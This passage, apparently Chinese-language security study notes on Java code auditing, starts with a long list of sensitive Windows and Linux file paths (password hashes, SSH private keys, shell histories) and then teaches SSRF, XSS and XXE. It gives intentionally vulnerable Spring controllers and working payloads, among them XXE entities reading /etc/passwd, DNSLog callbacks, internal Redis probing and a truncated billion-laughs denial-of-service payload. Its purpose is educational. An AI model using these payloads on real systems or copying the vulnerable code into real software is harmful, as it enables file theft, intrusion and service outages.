C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini C:/WINDOWS/Repair/SAM
C:/Windows/repair/system C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log
2、linux:
/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/stat
/proc/swaps
/proc/version
/proc/self/net/arp
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsession
SSRF漏洞
与 PHP 不同,在 Java 中 SSRF 仅支持 sun.net.www.protocol 下所有的协议:http、https、file、ftp、mailto、jar 及 netdoc 协议,因此不能像 PHP 一样使用 gopher 协议来扩展攻击面
在 Java 中可以通过 file 或 netdoc 协议进行列目录操作以读取更多敏感信息,对于无回显的文件读取可以利用 ftp 协议进行外带攻击:SSRF在有无回显方面的利用及其思考与总结-先知社区
代码审计时主要关注包含HTTP请求类的函数:
HttpURLConnection.getInputStream
URLConnection.getInputStream
HttpClient.execute
OkHttpClient.newCall.execute
Request.Get.execute
Request.Post.execute
[url].openStream () 方法
ImageIO.read
HttpURLConnection
HttpClient
OkHttpClient.newCall.execute
HttpRequest.get
HttpRequest.post
Jsoup.connect
getForObject
RestTemplate
postForObject
httpclient
execute
HttpClients.createDefault
httpasyncclient
HttpAsyncClients.createDefault
java.net.URLConnection
openConnection
java.net.HttpURLConnection
openStream
Socket
java.net.Socket
okhttp
OkHttpClient
newCall
ImageIO.read
javax imageio.ImageIO
HttpRequest.get
jsoup
Jsoup.connect
RestTemplate
org springframework.web.client.RestTemplate
HttpClient
HttpClient 是Apache Jakarta Common 下的子项目,可以用来提供高效的、最新的、功能丰富的支持HTTP 协议的客户端编程工具包,并且它支持 HTTP 协议最新的版本和建议。HttpClient 实现了 HTTP1.0 和 HTTP1.1。也实现了 HTTP 全部的方法,如: GET,POST, PUT,DELETE, HEAD, OPTIONS, TRACE
可以通过在在pom.xml中引入HttpClient依赖来实现:
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.5.12</version>
</dependency>
重新加载Maven变更后创建一个HttpClientController
的java类
package com.example.ssrfdemo.Controller;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.Closeable;
import java.io.InputStreamReader;
@RestController
@RequestMapping("/ssrfvul")
public class HttpClientController {
@RequestMapping("/httpclient/vul")
public String httpclientvul(String url) throws Exception {
StringBuilder sb = new StringBuilder();
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
CloseableHttpResponse response = client.execute(httpGet);
BufferedReader reader = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
String line;
while ((line = reader.readLine()) != null) {
sb.append(line);
}
return sb.toString();
}
}
该示例中,使用了 execute() 方法执行了 HTTP 请求,采用如下payload即可:
http://127.0.0.1:8080/ssrfvul/httpclient/vul?url=https://www.baidu.com
HttpAsyncClient
HttpAsyncClient 是一个异步的 HTTP 客户端开发包,基于 HttpCore NIO 和 HttpClient 组件。
HttpAsyncClient 的出现并不是为了替换 HttpClient,而是作为一个补充用于需要大量并发连接,对性能要求非常高的基于 HTTP 的原生数据通信,而且提供了事件驱动的 API。与HttpClient是基本相同的。同样是在pom.xml引入依赖后即可使用。
java.net.URLConnection
java.net.URLConnection,是Java 原生的HTTP 请求方法。URLConnection 类包含了许多方法可以让你的 URL 在网络上通信。此类的实例既可用于读取URL 所引用的资源,也可用于写入 URL 所引用资源。由于是java原生的方法,所以已经封装在jdk中,不需要额外引入依赖
package com.example.ssrfdemo.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
@RestController
@RequestMapping("/ssrfvul")
public class UrlConnectionController {
@RequestMapping("/urlconnection/vul")
public String urlconnectionvul(String url) throws Exception {
StringBuilder result = new StringBuilder();
URL url1 = new URL(url);
URLConnection conn = url1.openConnection();
conn.connect();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
result.append(line);
}
return result.toString();
}
}
使用 openConnection()
方法执行HTTP 请求,payload如下:
http://127.0.0.1:8080/ssrfvul/urlconnection/vul?url=https://www.baidu.com
此外类似的原生类还包括:java.net.HttpURLConnection、java.net.URL、java.net.Socket、
OkHttp
OKHttp 是一个网络请求框架,OKHttp 会为每个客户端创建自己的连接池和线程池。重用连接和线程可以减少延迟并节省内存。OkHttp 中请求方式分为同步请求(client.newCall(request).execute() )和异步请求(client.newCall(request).enqueue() )两种
需要在pom.xml引入相关依赖来实现引用:
<dependency>
<groupId>com.squareup.okhttp3</groupId>
<artifactId>okhttp</artifactId>
<version>4.12.0</version>
</dependency>
示例代码:
package com.example.ssrfdemo.Controller;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.IOException;
@RestController
@RequestMapping("/ssrfvul")
public class OkHttpClientController {
@RequestMapping("/okhttpclient/vul")
public String okhttpclientvul(String url) throws Exception{
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
try (Response response = client.newCall(request).execute()) {
return response.body().string();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
ImageIO
ImageIO 是Java 读写图片操作的一个类。在代码审计中,如果目标使用了
ImageIO.read 读取图片,且读取的图片地址可控的话,可能会存在SSRF 漏洞
同样的javax.imageio.ImageIO 也已封装在JDK 中,不需要额外引入依赖
package com.example.ssrfdemo.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.imageio.ImageIO;
import java.awt.*;
import java.net.URL;
@RestController
@RequestMapping("/ssrfvul")
public class ImageIOController {
@GetMapping("/imageio/vul")
public String imageiovul(String url) throws Exception {
// StringBuilder result = new StringBuilder();
URL url1 = new URL(url);
Image image = ImageIO.read(url1);
return image.toString();
}
}
这里使用了 ImageIO.read() 方法执行了HTTP 请求,payload如下:
http://127.0.0.1:8080/ssrfvul/imageio/vul?url=https://www.baidu.com/img/flexible/logo/pc/result.png
Hutool
Hutool 是一个小而全的Java 工具类库,通过静态方法封装,降低相关API 的学习成本,提高工作效率,使Java 拥有函数式语言般的优雅。同样需要通过pom.xml进行引入外部依赖
在Hutool 中,也实现了HTTP 客户端,Hutool-http 针对JDK 的 HttpUrlConnection 做一层封装,简化了HTTPS 请求、文件上传、Cookie 记忆等操作。
Hutool-http 的核心集中在两个类:
- HttpRequest
- HttpResponse
参考:http概述
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.13</version>
</dependency>
示例代码如下:
package com.example.ssrfdemo.Controller;
import cn.hutool.http.HttpRequest;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/ssrfvul")
public class HutoolController {
@GetMapping("/hutool/vul")
public String hutoolvul(String url) throws Exception {
HttpRequest httpReuest = HttpRequest.get(url);
return httpReuest.execute().body();
}
}
同样使用 execute() 方法执行了HTTP 请求,payload如下:
http://127.0.0.1:8080/ssrfvul/hutool/vul?url=https://www.baidu.com
Jsoup
Jsoup 是基于 Java 的 HTML 解析器,可以从指定的 URL 中解析 HTML 内容,其实现需要添加外部依赖。
RestTemplate
RestTemplate 是从Spring3.0 开始支持的一个HTTP 请求工具,它提供了常见的 REST 请求方案的模版,
例如GET 请求、POST 请求、PUT 请求等等。需要引入外部依赖
从名称上来看,是更针对RESTFUL风格API 设计的。但通过他调用普通的HTTP 接口也是可以的。
漏洞修复
- 白名单限制http/https协议
- 黑名单限制非内网地址
- 先解析域名在判断ip,避免域名解析为内网ip进行绕过
- 不允许重定向
XSS
XXS 漏洞的产生必然存在相关的输入 / 输出:Java 输入通常使用 request.getParameter (param) 或 ${param} 输入信息。输出表现为前端的渲染,可通过定位前端中一些标识来找。
XSS 常见触发位置
JSP 表达式
- <%= 变量 %>
- <% out.println (变量); %>
- <% String msg = request.getParameter (‘变量’);%>
EL(Expression Language,表达式语言)
- <c:out> 标签:显示一个表达式的结果
- <c:if> 标签:判断表达式的值
- <c:forEach> 标签:迭代输出标签内部的内容
典型示例:
xssservlet代码:
@WebServlet("/demo")
public class xssServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request,response);
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");// 设置响应类型
String content = request.getParameter("content"); //获取content传参数据
request.setAttribute("content", content); //content共享到request域
request.getRequestDispatcher("/WEB-INF/pages/xss.jsp").forward(request, response); //转发到xxs.jsp页面中
}
}
xss.jsp代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
${requestScope.content}
</head>
<body>
</body>
</html>
payload:http://localhost:8080/untitled3_war_exploded/demo?content=<script>alert(“xss”)</script>
setAttribute中的xss
结合前面的内容,知道了xss的产生过程是使用request.setAttribute方法将请求到的数据未经过滤存储到request域中,然后在jsp页面里使用el表达式进行输出。
ModelAndVIew
当视图解释器解析是ModelAndVIew,其中model本生就是一个Map的实现类的子类。视图解析器将model中的每个元素都通过request.setAttribute(name, value);添加request请求域中。这样就可以在JSP页面中通过EL表达式来获取对应的值。其实就是进行了一个简单的封装,方便于我们使用。
审计关键字:
- <%=
- ${
- <c:out
- <c:if
- <c:forEach
- ModelAndView
- ModelMap
- Model
- request.gerParameter
- request.setAttribute
- response.getWriter().print()
- response.getWriter().writer()
- Response.write()
- sendRedirect 重定向函数
- getParameter 获取POST/GET传递的参数值
- setAttribute 设置相关属性
- getRequestDispatcher(). forward() 请求转发
- getRequestDispatcher(). include() 请求包含
- 可能触发DOM型Xss的触发函数:
- document.write(…)
- document.writeln(…)
- document.body.innerHtml=…
- document.forms[0].action=…
- document.attachEvent(…)
- document.create…(…)
- document.execCommand(…)
- document.body. …
- window.attachEvent(…)
- document.location=…
- document.location.hostname=…
- document.location.replace(…)
防御手段
- 对输出进行编码转义
- Xss 过滤处理
- 自定义过滤器
参考:详解Xss 及SpringBoot 防范Xss攻击(附全部代码) – 古渡蓝按 – 博客园
XXE漏洞
XML
XML (Extensible Markup Language) 是一种可扩展的标记语言,用于标记电子文件中的各种元素。它是
用来传输和存储数据的一种常用方式,并且可以被很多不同的应用程序所使用。XML 的基本概念是标记,它使用标签来描述文档中的元素。每个标签都有一个名称,并且可以包含属性和值。XML 文档通常以根元素开始,并以相应的结束标签结束。
XML 的一个主要优点是它允许不同的应用程序之间进行数据交换,因为它是一种通用的数据格式。
它还可以用于存储数据,并且可以使用 XML 文档来描述数据的结构。
比如,一个描述书籍的XML 文档如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note SYSTEM "book.dtd">
<book id="1">
<name>Java Sec</name>
<author>admin</author>
<isbn lang="CN">1111</isbn>
<tage>
<tag>Java</tag>
<tag>CyberSecurity</tag>
</tage>
<pubDate/>
</book>
DTD
DTD 是文档类型定义的缩写。它是一种用来定义XML 文档结构的文本文件,用于描述XML 文档中元素的名称、属性和约束关系。可以帮助浏览器或其他应用程序更好地解析和处理XML 文档。例如,下面是一个简单的DTD,它描述了一个XML 文档,其中包含名为”book”的元素,其中包含一个名为”title”的元素和一个名为”author”的元素:
<!ELEMENT book (title, author)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
这个DTD 声明了”book”元素包含一个”title”元素和一个”author”元素,”title”和”author”元素都只包含文本数据(#PCDATA),因此,下面的XML 文档是有效的:
<book>
<title>XML Basics</title>
<author>John Doe</author>
</book>
但下面的XML 文档是无效的,因为它不包含”author”元素:
<book>
<title>XML Basics</title>
</book>
1、内部的DOCTYPE 声明
内部的DOCTYPE 声明是指将DTD 定义直接包含在XML 文档中的DOCTYPE 声明。
<!DOCTYPE root-element [
DTD-definition
]>
这里,root-element 是 XML 文档的根元素,DTD-definition 是 DTD 的定义,包括元素名称、属性和约束关系。例如,如果XML 文档的根元素是 “book”,并且 DTD 定义如下:
<!ELEMENT book (title, author)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
那么内部的DOCTYPE 声明可能如下所示:
<!DOCTYPE book [
<!ELEMENT book (title, author)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
]>
内部的 DOCTYPE 声明的优点是它可以使XML 文档更具可移植性,因为它不依赖于外部文件。
但也可能会使XML 文档变得较大,并且如果 DTD定义很复杂,可能会使XML 文档变得难以阅读和维护
2、外部的DOCTYPE 声明
外部的DOCTYPE 声明是指将DTD 定义保存在单独的文件中,并在XML 文档中通过DOCTYPE 声明引用该文件的声明。也称为”外部子集”。
一般形式如下:
<!DOCTYPE root-element SYSTEM "DTD-location">
root-element 是XML 文档的根元素,DTD-location 是DTD 文件的位置。如
<!DOCTYPE book SYSTEM "book.dtd">
例如这里,XML 文档的根元素是”book”,并且DTD 文件位于当前目录中的”book.dtd”文件中
优点:使XML 文档更易于阅读和维护、多个XML 文档可以使用相同的DTD 定义
缺点:依赖于外部文件,如果DTD 文件丢失或损坏,XML 文档可能无法正确解析和处理
其实DOCTYPE 声明不是必需的,但它可以帮助浏览器或其他应用程序正确地解析和处理XML 文档
XML 外部实体注入漏洞(XXE)
漏洞前提:应用程序使用 XML 处理器解析外部XML 实体
外部XML 实体是指定义在XML 文档外部的实体,它可以引用外部文件或资源。如果XML 处理器没有正确配置,它可能会解析这些外部实体,并将外部文件或资源的内容包含到XML 文档中。如:
POST /submit-xml HTTP/1.1
Content-Type: application/xml
<user>
<name>John Doe</name>
<email>john.doe@example.com</email>
</user>
当XML处理器没用正确配置,允许解析外部实体时:
POST /submit-xml HTTP/1.1
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
<email>john.doe@example.com</email>
</user>
这里定义了一个名为xxe的外部实体,并在xml的name字段引用了该外部实体
如果没有正确配置处理器,导致可以成功解析该实体,就能将/etc/passwd 文件的内容包含到XML 文档中,最终返回给前端
XML 解析
常见的XML 解析有以下几种方式:DOM 解析、SAX 解析、JDOM 解析、DOM4J 解析、Digester 解析(其中DOM 和 SAX 为原生自带的。JDOM、DOM4J 和 Digester 需要引入第三方依赖库)
在 Java 语言中,常见的 XML 解析器有:
- DOM(Document Object Model):一种基于树的解析器,将整个XML 文档加载到内存中,并将文档组织成一个树形结构
- SAX(Simple API for XML):一种基于事件的解析器,它逐行读取XML 文档并触发特定的事件
- JDOM:一个用于 Java 的开源库,它提供了一个简单易用的 API 来解析和操作 XML 文档
- DOM4J:一个 Java 的 XML API,是 JDOM 的升级品,用来读写 XML 文件
- Digester:对 SAX 的包装,底层是采用的是 SAX 解析方式
XXE实战
同ssrf一样,xxe支持sun.net.www.protocol 里面的所有协议:http,https,file,ftp,mailto,jar,netdoc
通常可以使用以下协议来发起XXE 攻击:
file:允许通过文件系统访问本地文件
http/https:允许通过HTTP 协议访问远程服务器上的文件
ftp:允许通过FTP 协议访问远程服务器上的文件。
例如,下面的XML 文档可以使用 file 协议读取本地文件 /etc/passwd :
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>
1、file协议回显读取数据
以DOM解析xml为例,演示有回显场景下如何利用file协议读取文件
DOM解析源码:
package com.example.xxedemo;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.InputStream;
import java.io.StringReader;
import java.util.Scanner;
@RestController
public class DomTest {
@RequestMapping("/domdemo/vul")
public String DomDemo(HttpServletRequest request) throws Exception{
try {
// 获取输入流
ServletInputStream in = request.getInputStream();
String string = convertStreamToString(in);
StringReader stringReader = new StringReader(string);
// 构造xml输入流
InputSource inputSource = new InputSource(stringReader);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document document = db.parse(inputSource);
// 遍历xml节点name和value
StringBuilder sb = new StringBuilder();
NodeList rootNode = document.getChildNodes();
for (int i = 0; i < rootNode.getLength(); i++) {
Node node = rootNode.item(i);
NodeList child = node.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node1 = child.item(j);
sb.append(String.format("%s:%s\n", node1.getNodeName(), node1.getTextContent()));
}
}
stringReader.close();
return sb.toString();
} catch (Exception e) {
throw new Exception(e);
}
}
private static String convertStreamToString(InputStream inputStream) {
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
return scanner.hasNext() ? scanner.next() : "";
}
}
数据包:
POST /domdemo/vul HTTP/1.1
Sec-Ch-Ua: "Microsoft Edge";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: Windows
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: test/xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///D:/flag.txt">
]>
<root>&file;</root>
数据包中 Content-Type 大多数情况下值为 text/xml 或 application/xml (两者区别在于编码格式不同),以避免报错,有些情况下也可以不指定
2、网络协议访问 DNSLog
无回显场景下,可以使用网络协议 HTTP/HTTPS 向 DNSLog 发起请求,初步判断是否存在 XXE 漏洞
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "https://xxxxx.dnslog.cn">
]>
<root>&file;</root>
以DigesterTest为例,该代码不会回显payload的结果,只能通过dnslog来验证漏洞
package com.example.xxedemo;
import org.apache.commons.digester.Digester;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import java.io.InputStream;
import java.io.StringReader;
import java.util.Scanner;
@RestController
public class DigesterTest {
@RequestMapping("/digesterdemo/vul")
public String DigesterDemo(HttpServletRequest request) throws Exception {
ServletInputStream inputStream = request.getInputStream();
String body = convertStreamToString(inputStream);
Digester digester = new Digester();
digester.parse(new StringReader(body));
return "Digester xxe vul ...";
}
private String convertStreamToString(InputStream inputStream) {
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
return scanner.hasNext() ? scanner.next() : "";
}
}
XXE审计漏洞函数
XMLReaderFactory
createXMLReader
SAXBuilder
SAXReader
SAXParserFactory
newSAXParser
Digester
DocumentBuilderFactory
DocumentBuilder
XMLReader
DocumentHelper
XMLStreamReader
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
javax.xml.stream.XMLStreamReader
javax.xml.stream.XMLInputFactory
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
org.jdom.output.XMLOutputter
oracle.xml.parser.v2.XMLParser
javax.xml.parsers.SAXBuilder
org.dom4j.io.SAXReader
org.dom4j.DocumentHelper
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.validation.Validator
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
java.beans.XMLDecode
相关payload
1、读取本地文件
Windows 系统读取文件需要带上盘符,如: file:///C:/
Linux/Unix 系统读取文件: file:///
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///D:/flag.txt">
]>
<root>&file;</root>
2、请求DNSLog
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "https://dnslog地址">
]>
<root>&file;</root>
3、SSRF 探测内网
可通过时间响应差异、回显等情况探测内网 IP,以及端口开放情况
例如内网redis未授权利用
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "http://127.0.0.1:6379">
]>
<root>&file;</root>
4、Dos 攻击
<?xml version="1.0" ?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
